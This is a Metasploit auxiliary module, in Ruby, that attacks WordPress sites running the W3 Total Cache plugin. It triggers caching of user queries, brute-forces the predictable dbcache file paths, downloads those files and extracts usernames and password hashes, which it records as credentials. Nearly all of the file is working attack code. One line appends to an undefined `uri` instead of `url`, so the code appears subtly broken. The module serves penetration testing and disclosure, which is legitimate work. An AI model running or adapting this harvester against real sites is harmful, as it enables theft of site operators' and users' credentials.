Files
metasploit-gs/modules/auxiliary/gather/wp_w3_total_cache_hash_extract.rb
T
2013-03-07 17:53:19 -06:00

133 lines
4.2 KiB
Ruby

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
def initialize
super(
'Name' => 'W3-Total-Cache Wordpress-plugin 0.9.2.4 (or before) Username and Hash Extract',
'Description' =>
"The W3-Total-Cache Wordpress Plugin <= 0.9.24 can cache database statements
and it's results in files for fast access. Version 0.9.2.4 has been fixed afterwards
so it can be vulnerable. These cache files are in the webroot of the Wordpress
installation and can be downloaded if the name is guessed. This modules tries to
locate them with brute force in order to find usernames and password hashes in these
files. W3 Total Cache must be configured with Database Cache enabled and Database
Cache Method set to Disk to be vulnerable",
'License' => MSF_LICENSE,
'References' =>
[
[ 'OSVDB', '88744'],
[ 'URL', 'http://seclists.org/fulldisclosure/2012/Dec/242']
],
'Author' =>
[
'Christian Mehlmauer <FireFart[at]gmail.com>', # Metasploit module
'Jason A. Donenfeld <Jason[at]zx2c4.com>' # POC
]
)
register_options(
[
OptString.new('TARGETURI', [ true, 'Wordpress root', '/']),
OptString.new('TABLE_PREFIX', [ true, 'Wordpress table prefix', 'wp_']),
OptInt.new('SITE_ITERATIONS', [ true, 'Number of sites to iterate', 25]),
OptInt.new('USER_ITERATIONS', [ true, 'Number of users to iterate', 25]),
OptString.new('WP_CONTENT_DIR', [ true, 'Wordpress content directory', 'wp-content'])
], self.class)
end
def wordpress_url
url = target_uri
url.path << "/" if url.path[-1,1] != "/"
url
end
# Call the User site, so the db statement will be cached
def cache_user_info(user_id)
user_url = normalize_uri(wordpress_url)
begin
send_request_cgi(
{
"uri" => user_url,
"method" => "GET",
"vars_get" => {
"author" => user_id.to_s
}
})
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
vprint_error("Unable to connect to #{url}")
return nil
rescue ::Timeout::Error, ::Errno::EPIPE
vprint_error("Unable to connect to #{url}")
return nil
end
end
def run_host(ip)
users_found = false
for site_id in 1..datastore["SITE_ITERATIONS"] do
vprint_status("Trying site_id #{site_id}...")
for user_id in 1..datastore["USER_ITERATIONS"] do
vprint_status("Trying user_id #{user_id}...")
# used to cache the statement
cache_user_info(user_id)
query="SELECT * FROM #{datastore["TABLE_PREFIX"]}users WHERE ID = '#{user_id}'"
query_md5 = ::Rex::Text.md5(query)
host = datastore["VHOST"] || ip
key="w3tc_#{host}_#{site_id}_sql_#{query_md5}"
key_md5 = ::Rex::Text.md5(key)
hash_path = "/#{key_md5[0,1]}/#{key_md5[1,1]}/#{key_md5[2,1]}/#{key_md5}"
url = normalize_uri(wordpress_url, datastore["WP_CONTENT_DIR"], "/w3tc/dbcache")
uri << hash_path
result = nil
begin
result = send_request_cgi({ "uri" => url, "method" => "GET" })
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
print_error("Unable to connect to #{url}")
break
rescue ::Timeout::Error, ::Errno::EPIPE
print_error("Unable to connect to #{url}")
break
end
if result.nil? or result.body.nil?
print_error("No response received")
break
end
match = result.body.scan(/.*"user_login";s:[0-9]+:"([^"]*)";s:[0-9]+:"user_pass";s:[0-9]+:"([^"]*)".*/)[0]
unless match.nil?
print_good("Username: #{match[0]}")
print_good("Password Hash: #{match[1]}")
report_auth_info(
:host => rhost,
:port => rport,
:sname => ssl ? "https" : "http",
:user => match[0],
:pass => match[1],
:active => true,
:type => "hash"
)
users_found = true
end
end
end
print_error("No users found :(") unless users_found
end
end